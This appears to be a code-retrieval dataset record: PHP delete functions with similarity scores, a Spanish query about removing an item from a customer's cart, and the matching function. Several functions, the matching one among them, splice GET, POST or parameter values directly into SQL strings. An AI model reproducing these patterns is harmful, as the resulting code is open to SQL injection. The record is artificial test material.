?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from compras where codcompra = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$codcompra = base64_decode($_GET[\"codcompra\"]);\n\t\t$stmt->execute();\n\n\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t\theader(\"Location: detallescompras?mesage=2\");\n\t\t\texit;\n\t\t}\n\t}\n\telse\n\t{\n\t\theader(\"Location: detallescompras?mesage=3\");\n\t\texit;\n\t}\n}", "static public function ctrEliminarVenta(){\n\n\t\tif(isset($_GET[\"idVenta\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$item = \"id\";\n\t\t\t$valor = $_GET[\"idVenta\"];\n\n\t\t\t$traerVenta = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t/*=============================================\n\t\t\tACTUALIZAR FECHA ÚLTIMA COMPRA\n\t\t\t=============================================*/\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemVentas = null;\n\t\t\t$valorVentas = null;\n\n\t\t\t$traerVentas = ModeloVentas::mdlMostrarVentas($tabla, $itemVentas, $valorVentas);\n\n\t\t\t$guardarFechas = array();\n\n\t\t\tforeach ($traerVentas as $key => $value) {\n\t\t\t\t\n\t\t\t\tif($value[\"id_cliente\"] == $traerVenta[\"id_cliente\"]){\n\n\t\t\t\t\tarray_push($guardarFechas, $value[\"fecha\"]);\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif(count($guardarFechas) > 1){\n\n\t\t\t\tif($traerVenta[\"fecha\"] > $guardarFechas[count($guardarFechas)-2]){\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-2];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}else{\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-1];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t$valor = \"0000-00-00 00:00:00\";\n\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t}\n\n\t\t\t/*=============================================\n\t\t\tFORMATEAR TABLA DE PRODUCTOS Y LA DE CLIENTES\n\t\t\t=============================================*/\n\n\t\t\t$productos = json_decode($traerVenta[\"productos\"], true);\n\n\t\t\t$totalProductosComprados = array();\n\n\t\t\tforeach ($productos as $key => $value) {\n\n\t\t\t\tarray_push($totalProductosComprados, $value[\"cantidad\"]);\n\t\t\t\t\n\t\t\t\t$tablaProductos = \"productos\";\n\n\t\t\t\t$item = \"id\";\n\t\t\t\t$valor = $value[\"id\"];\n\t\t\t\t$orden = \"id\";\n\n\t\t\t\t$traerProducto = ModeloProductos::mdlMostrarProductos($tablaProductos, $item, $valor, $orden);\n\n\t\t\t\t$item1a = \"ventas\";\n\t\t\t\t$valor1a = $traerProducto[\"ventas\"] - $value[\"cantidad\"];\n\n\t\t\t\t$nuevasVentas = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1a, $valor1a, $valor);\n\n\t\t\t\t$item1b = \"stock\";\n\t\t\t\t$valor1b = $value[\"cantidad\"] + $traerProducto[\"stock\"];\n\n\t\t\t\t$nuevoStock = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1b, $valor1b, $valor);\n\n\t\t\t}\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemCliente = \"id\";\n\t\t\t$valorCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t$traerCliente = ModeloClientes::mdlMostrarClientes($tablaClientes, $itemCliente, $valorCliente);\n\n\t\t\t$item1a = \"compras\";\n\t\t\t$valor1a = $traerCliente[\"compras\"] - array_sum($totalProductosComprados);\n\n\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item1a, $valor1a, $valorCliente);\n\n\t\t\t/*=============================================\n\t\t\tELIMINAR VENTA\n\t\t\t=============================================*/\n\n\t\t\t$respuesta = ModeloVentas::mdlEliminarVenta($tabla, $_GET[\"idVenta\"]);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"La venta ha sido borrada correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"ventas\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\t}", "function eliminarRelacionProceso(){\n $this->objFunc=$this->create('MODObligacionPago');\n $this->res=$this->objFunc->eliminarRelacionProceso($this->objParam);\n $this->res->imprimirRespuesta($this->res->generarJson());\n }", "public function destroy(IDClienteInmueble $iDClienteInmueble)\n {\n //\n }", "public function eliminarusuario($codigo){\r\n\t//Preparamos la conexion a la bdd:\r\n\t$pdo=Database::connect();\r\n\t$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n\t$sql=\"delete from usuario where codigo=?\";\r\n\t$consulta=$pdo->prepare($sql);\r\n//Ejecutamos la sentencia incluyendo a los parametros:\r\n\t$consulta->execute(array($codigo));\r\n\tDatabase::disconnect();\r\n}", "public function posteliminar() {\n $model = (new PaisRepository())->Obtener($_POST['id']);\n\n $rh = (new PaisRepository())->Eliminar($model);\n\n print_r(json_encode($rh));\n }", "public function excluir($id_cliente, $excluir) {\n\n if($excluir==\"S\") { // se o excluir vier setado com algum valor 'S'\n $sql = \"DELETE FROM cliente WHERE id_cliente = :id_cliente\";\n $qry = $this->db->prepare($sql); // prepare para os dados externos\n $qry->bindValue(\":id_cliente\", $id_cliente); // comando para inserir\n $qry->execute(); // comando para executar\n }\n }", "public function delete_phonesclient(){\n\t\t$this->layout = 'ajax';\n\t\n\t\tif($this->request->is('post')){\n\t\t\t$phonesclient_id = $this->request->data['phonesclient_id'];\n\t\n\t\t\t$obj_phonesclient = $this->Phonesclient->findBy('IDPhoneclient', $phonesclient_id);\n\t\t\tif($obj_phonesclient->saveField('Status', 0)){\n\t\t\t\techo json_encode(array('success'=>true,'msg'=>__('Eliminado con &eacute;xito.')));\n\t\t\t\texit();\n\t\t\t}else{\n\t\t\t\techo json_encode(array('success'=>false,'msg'=>__('Error inesperado.')));\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\t\n\t}", "function excluirPessoa(){\r\n $banco = conectarBanco();\r\n $sql = \"DELETE FROM pessoa WHERE id = '{$_POST[\"id\"]}'\";\r\n $banco->query($sql); // Passa a query fornecida em $sql para o banco de dados\r\n $banco->close(); // Fecha o banco de dados\r\n voltarMenu(); // Volta para a pagina inicial da agenda\r\n}", "public function eliminar()\n\t{\n\t\t$idestado = $_POST['idestado'];\n\t\t//en viamos por parametro el id del estado a eliminar\n\t\tEstado::delete($idestado);\n\t}", "static public function ctrEliminarVenta(){\n\n\t\tif(isset($_GET[\"idVenta\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$item = \"id\";\n\t\t\t$valor = $_GET[\"idVenta\"];\n\n\t\t\t$traerVenta = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t/*=============================================\n\t\t\tACTUALIZAR FECHA ÚLTIMA COMPRA\n\t\t\t=============================================*/\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemVentas = null;\n\t\t\t$valorVentas = null;\n\n\t\t\t$traerVentas = ModeloVentas::mdlEliminarVenta($tabla, $itemVentas, $valorVentas);\n\n\t\t\t$guardarFechas = array();\n\n\t\t\tforeach ($traerVentas as $key => $value) {\n\t\t\t\t\n\t\t\t\tif($value[\"id_cliente\"] == $traerVenta[\"id_cliente\"]){\n\n\t\t\t\t\tarray_push($guardarFechas, $value[\"fecha\"]);\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif(count($guardarFechas) > 1){\n\n\t\t\t\tif($traerVenta[\"fecha\"] > $guardarFechas[count($guardarFechas)-2]){\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-2];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}else{\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-1];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t$valor = \"0000-00-00 00:00:00\";\n\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t}\n\n\t\t\t/*=============================================\n\t\t\tFORMATEAR TABLA DE PRODUCTOS Y LA DE CLIENTES\n\t\t\t=============================================*/\n\n\t\t\t$productos = json_decode($traerVenta[\"productos\"], true);\n\n\t\t\t$totalProductosComprados = array();\n\n\t\t\tforeach ($productos as $key => $value) {\n\n\t\t\t\tarray_push($totalProductosComprados, $value[\"cantidad\"]);\n\t\t\t\t\n\t\t\t\t$tablaProductos = \"productos\";\n\n\t\t\t\t$item = \"id\";\n\t\t\t\t$valor = $value[\"id\"];\n\t\t\t\t$orden = \"id\";\n\n\t\t\t\t$traerProducto = ModeloProductos::mdlMostrarProductos($tablaProductos, $item, $valor, $orden);\n\n\t\t\t\t$item1a = \"ventas\";\n\t\t\t\t$valor1a = $traerProducto[\"ventas\"] - $value[\"cantidad\"];\n\n\t\t\t\t$nuevasVentas = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1a, $valor1a, $valor);\n\n\t\t\t\t$item1b = \"stock\";\n\t\t\t\t$valor1b = $value[\"cantidad\"] + $traerProducto[\"stock\"];\n\n\t\t\t\t$nuevoStock = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1b, $valor1b, $valor);\n\n\t\t\t}\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemCliente = \"id\";\n\t\t\t$valorCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t$traerCliente = ModeloClientes::mdlMostrarClientes($tablaClientes, $itemCliente, $valorCliente);\n\n\t\t\t$item1a = \"compras\";\n\t\t\t$valor1a = $traerCliente[\"compras\"] - array_sum($totalProductosComprados);\n\n\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item1a, $valor1a, $valorCliente);\n\n\t\t\t/*=============================================\n\t\t\tELIMINAR VENTA\n\t\t\t=============================================*/\n\n\t\t\t$respuesta = ModeloVentas::mdlEliminarVenta($tabla, $_GET[\"idVenta\"]);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"La venta ha sido borrada correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"ventas\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\t}", "function removeRegistro($id) {\n GLOBAL $con;\n\n //busca info\n $querybusca = \"select * from kardexs where id='\" . $id . \"'\";\n $qry = mysql_query($querybusca);\n $linha = mysql_fetch_assoc($qry);\n\n //Apagua\n $query = \"delete from kardexs where id='\" . $id . \"'\";\n mysql_query($query, $con) or die(mysql_error());\n\n if (saldoExiste($linha['produto_id'], $linha['estoque_id'])) {\n //atualiza retirando saldo\n $saldoAtual = saldoByEstoque($linha['produto_id'], $linha['estoque_id']);\n if ($linha['sinal'] == '+') {\n $saldoAtual_acerto = $saldoAtual - $linha['qtd'];\n } else {\n $saldoAtual_acerto = $saldoAtual + $linha['qtd'];\n }\n\n\n saldo_atualiza($linha['produto_id'], $linha['estoque_id'], $saldoAtual_acerto);\n }\n}", "public function excluir()\n {\n return (new Database('vagas'))->delete('id = '.$this->id);\n }", "public function eliminar ($idpersona)\n\t{\n\t\t$sql=\"DELETE FROM persona WHERE idpersona='$idpersona';\";\n/*echo \"<pre><br>Elin¡minas:<br>\";\nprint_r($sql);\necho \"</pre>\";\ndie();*/\n\t\treturn ejecutarConsulta($sql);\n\t}", "function deleteComentario($id_evento,$id_comentario){\n $mysqli = Conectar();\n seguridad($id_evento);\n seguridad($id_comentario);\n $mysqli->query(\"Delete From comentarios Where id_evento='$id_evento' and id_comentario='$id_comentario'\");\n }" ]
[ "0.77980226", "0.73040485", "0.71599156", "0.70568985", "0.6905301", "0.69030756", "0.6878988", "0.6798161", "0.6786198", "0.6745999", "0.6724777", "0.6718513", "0.6674204", "0.66661656", "0.6661402", "0.6632", "0.6631669", "0.6615057", "0.65791965", "0.6568596", "0.6557621", "0.65451634", "0.6528453", "0.65254533", "0.6524979", "0.65187365", "0.6509327", "0.64865375", "0.6485632", "0.64830786", "0.6467842", "0.64644635", "0.6437723", "0.63862705", "0.63822544", "0.6377115", "0.63697577", "0.63502127", "0.6345869", "0.6343101", "0.6342449", "0.63399875", "0.63380504", "0.6337031", "0.63349223", "0.6334563", "0.63315177", "0.6330206", "0.6310305", "0.6300042", "0.6299756", "0.6289835", "0.6287133", "0.6281496", "0.6279469", "0.6258843", "0.6258091", "0.6254518", "0.6252196", "0.62445146", "0.62353015", "0.62241626", "0.62179273", "0.62092036", "0.62086505", "0.62067735", "0.6187049", "0.61857903", "0.6184986", "0.6183057", "0.61818457", "0.6180528", "0.61739916", "0.6168695", "0.6165116", "0.6153281", "0.6151823", "0.61512697", "0.61383003", "0.6136937", "0.61366576", "0.6135216", "0.6135216", "0.6135216", "0.61308146", "0.61268693", "0.6116915", "0.6112447", "0.6111011", "0.61084366", "0.6102433", "0.61003435", "0.60918343", "0.6088509", "0.6086464", "0.6077379", "0.6061284", "0.60577315", "0.60553795", "0.6052943", "0.60528994" ]
0.0
-1
Elimina un articulo del carrito de un cliente
function EliminaAunArticulo($Cod_Articulo,$CardCode){ if($this->con->conectar()==true){ return mysql_query("DELETE FROM `Carrito` WHERE `CardCode` = '" .$CardCode. "' AND `CodArticulo` = '".$Cod_Articulo."'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function eliminarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function removeAction()\n {\n if ( $this->_hasParam('razaoSocialTomador') == false )\n {\n $this->_redirect('clientes/list');\n }\n \t\t$modelo = new Application_Model_Clientes();\n $razaoSocialTomador = $this->_getParam('razaoSocialTomador');\n $modelo->removeByRazaoSocial($razaoSocialTomador);\n\n// $cnte = $modelo->removeByRazaoSocial($razaoSocialTomador);\n\t\t$this->_redirect('clientes/list');\n // action body\n }", "public function tarifClientRemoveAction(Request $request)\n {\n if ($request->isXmlHttpRequest()) {\n $id = $request->request->get('id', '');\n\n $em = $this->getDoctrine()\n ->getManager();\n if ($id != '') {\n try {\n //Suppression\n if ($id != 'new_row') {\n $tarif = $this->getDoctrine()\n ->getRepository('AppBundle:FactTarifClient')\n ->find($id);\n if ($tarif) {\n $em->remove($tarif);\n $em->flush();\n $data = array(\n 'erreur' => false,\n );\n return new JsonResponse(json_encode($data));\n }\n }\n } catch (\\Exception $ex) {\n return new Response($ex->getMessage(), 500);\n }\n\n }\n throw new NotFoundHttpException(\"Tarif introuvable.\");\n } else {\n throw new AccessDeniedException('Accès refusé.');\n }\n }", "function deletePreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->cliente);\n return Database::executeRow($sql, $params);\n }", "public function eliminarPreDetalle(){\n $sql='DELETE FROM predetalle WHERE idCliente = ?';\n $params=array($this->idCliente);\n return Database::executeRow($sql, $params);\n }", "public function delete(){\n return (new Database('cliente'))->delete('id = '.$this->id);\n }", "public function cliente_delete(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t$respuesta = $this->Cliente_model->delete($cliente_id);\n\t\t\n\t\t$this->response($respuesta);\n\t}", "function EliminaDetallePedido($NumPedido,$CodArti){\n\t\tif($this->con->conectar()==true){\n\t\treturn mysql_query(\"DELETE * FROM `DET_PedidosSolicitados` WHERE `NumPedido` = '\" .$NumPedido. \"' and `NumPedido` = '\" .$CodArti. \"'\");\n\t\t}\n\t}", "public function destroy($id_cliente){}", "function remove() {\n\t\t$option = JRequest::getCmd('option');\n\t\t// Se obtienen los ids de los registros a borrar\n\t\t$cids = JRequest::getVar('cid', array(0), 'post', 'array');\n $product_type_code = JRequest::getVar('product_type_code');\n\n\t\t// Lanzar error si no se ha seleccionado al menos un registro a borrar\n if (count($cids) < 1 || !$product_type_code) {\n\t\t\tJError::raiseError(500, JText::_('CP.SELECT_AN_ITEM_TO_DELETE'));\n\t\t}\n\n\t\t// Se obtiene el modelo\n\t\t$model = $this->getModel('comments');\n\t\t// Se intenta el borrado\n\t\tif ($model->delete($cids, $product_type_code)) {\n\t\t\t$msg = JText::_('CP.DATA_DELETED');\n\t\t\t$type = 'message';\n\t\t} else {\n\t\t\t// Si hay algún error se ajusta el mensaje\n\t\t\t$msg = $model->getError();\n\t\t\tif (!$msg) {\n\t\t\t\t$msg = JText::_('CP.ERROR_ONE_OR_MORE_DATA_COULD_NOT_BE_DELETED');\n\t\t\t}\n\t\t\t$type = 'error';\n\t\t}\n\n\t\t$this->setRedirect('index.php?option=' . $option . '&view=comments', $msg, $type);\n\t}", "function removeServico($campos){\n\t\t\t$itemID = $campos['InputDelServico'];\n\t\t\tfor($i=0;$i<sizeof($itemID);$i++){\n\t\t\t\t\t\t$sql=\" DELETE FROM vekttor_venda_servico WHERE id = '$itemID[$i]'\";\n\t\t\t\t\t\tmysql_query($sql);\n\t\t\t}\n}", "public function excluir(){\r\n return (new Database('cartao'))->delete('id = '.$this->id);\r\n }", "public function eliminar() {\n\t\t\n\t\t\n\t\t$juradodni = $_GET[\"dniJurado\"];\n\t\t\n\t\t$this -> JuradoMapper -> delete($juradodni);\n\n\t\t\n\t\t$this -> view -> redirect(\"jurado\", \"listar\");\n\t\t//falta cambiar\n\t}", "public function remover() {\n \n $queryVerificaInscricao = '\n select * from tb_inscricao_atividade where id_atividade = :id_atividade \n ';\n \n $stmtInscAtt = $this->conexao->prepare($queryVerificaInscricao);\n $stmtInscAtt->bindValue(':id_atividade', $_GET['id_att']);\n $stmtInscAtt->execute();\n \n $inscAtt = $stmtInscAtt->fetchAll(PDO::FETCH_OBJ);\n \n // echo '<pre>';\n // print_r($inscAtt);\n // echo '</pre>';\n \n if (!empty($inscAtt)) {\n foreach ($inscAtt as $inscAttInd) {\n $queryDeleteInscAtt = 'delete from tb_inscricao_atividade where \n id_atividade = :id_atividadeDel and \n id_evento = :id_eventoDel and \n id_usuario = :id_usuarioDel';\n \n $stmtInscAttDel = $this->conexao->prepare($queryDeleteInscAtt);\n $stmtInscAttDel->bindValue(':id_atividadeDel', $inscAttInd->id_atividade);\n $stmtInscAttDel->bindValue(':id_eventoDel', $inscAttInd->id_evento);\n $stmtInscAttDel->bindValue(':id_usuarioDel', $inscAttInd->id_usuario);\n $stmtInscAttDel->execute();\n }\n }\n\n $queryInscCupomAtt = '\n select * from tb_cupom where id_atividade = :id_atividadeCupDel\n ';\n\n $stmtInscCupomAtt = $this->conexao->prepare($queryInscCupomAtt);\n $stmtInscCupomAtt->bindValue(':id_atividadeCupDel', $_GET['id_att']);\n $stmtInscCupomAtt->execute();\n\n $cupomAtt = $stmtInscCupomAtt->fetchAll(PDO::FETCH_OBJ);\n\n // echo '<pre>';\n // print_r($cupomAtt);\n // echo '</pre>';\n\n if (!empty($cupomAtt)) {\n foreach ($cupomAtt as $cupomAttInd) {\n $queryDeleteCupomAtt = '\n delete from tb_cupom where id = :id_cupomDel\n ';\n\n echo $cupomAttInd->id;\n\n $stmtInscCupomAttDel = $this->conexao->prepare($queryDeleteCupomAtt);\n $stmtInscCupomAttDel->bindValue(':id_cupomDel', $cupomAttInd->id);\n $stmtInscCupomAttDel->execute();\n }\n }\n \n $query = '\n delete from tb_atividade \n where id = :id';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id', $_GET['id_att']);\n\n return $stmt->execute();\n }", "public function EliminarClientes()\n\t{\n\t\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t\t$sql = \" select codcliente from ventas where codcliente = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from clientes where codcliente = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcliente);\n\t\t\t\t$codcliente = base64_decode($_GET[\"codcliente\"]);\n\t\t\t\t$stmt->execute();\n\necho \"<div class='alert alert-info'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-check-square-o'></span> EL CLIENTE FUE ELIMINADO EXITOSAMENTE </center>\"; \necho \"</div>\";\n\t\t\t\texit;\n\n\t\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> ESTE CLIENTE NO PUEDE SER ELIMINADO, TIENE VENTAS ASOCIADAS ACTUALMENTE </center>\"; \necho \"</div>\"; \n\t\t\t\texit;\n\t\t\t} \n\n\t\t} else {\n\necho \"<div class='alert alert-warning'>\";\necho \"<button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button>\";\necho \"<center><span class='fa fa-info-circle'></span> USTED NO TIENE ACCESO PARA ELIMINAR CLIENTES, NO ERES EL ADMINISTRADOR DEL SISTEMA </center>\";\necho \"</div>\";\n\t\t\texit;\n\t\t}\t\n\t}", "public function eliminar($con){\r\n\t\t$sql = \"DELETE FROM lineaspedidos WHERE idPedido='$this->idPedido' AND idProducto='$this->idProducto'\";\r\n\t\t// Ejecuta la consulta y devuelve el resultado\r\n\t\treturn ($con->query($sql));\r\n\t}", "public function eliminar($objeto){\r\n\t}", "public function EliminarDetallesCompras()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\tself::SetNames();\n\t\t$sql = \" select * from detallecompras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])) );\n\t\t$num = $stmt->rowCount();\n\t\tif($num > 1)\n\t\t{\n\n\t\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t$sql4 = \"select * from compras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$paea[] = $row;\n\t\t\t}\n\t\t$subtotalivasic = $paea[0][\"subtotalivasic\"];\n\t\t$subtotalivanoc = $paea[0][\"subtotalivanoc\"];\n\t\t$iva = $paea[0][\"ivac\"]/100;\n\t\t$descuento = $paea[0][\"descuentoc\"]/100;\n\t\t$totalivac = $paea[0][\"totalivac\"];\n\t\t$totaldescuentoc = $paea[0][\"totaldescuentoc\"];\n\n\t$sql3 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'SI'\";\n $stmt = $this->dbh->prepare($sql3);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($rowp = $stmt->fetch())\n {\n $p[] = $rowp;\n }\n $importeivasi = ($rowp[\"importe\"]== \"\" ? \"0\" : $rowp[\"importe\"]);\n\n$sql5 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'NO'\";\n $stmt = 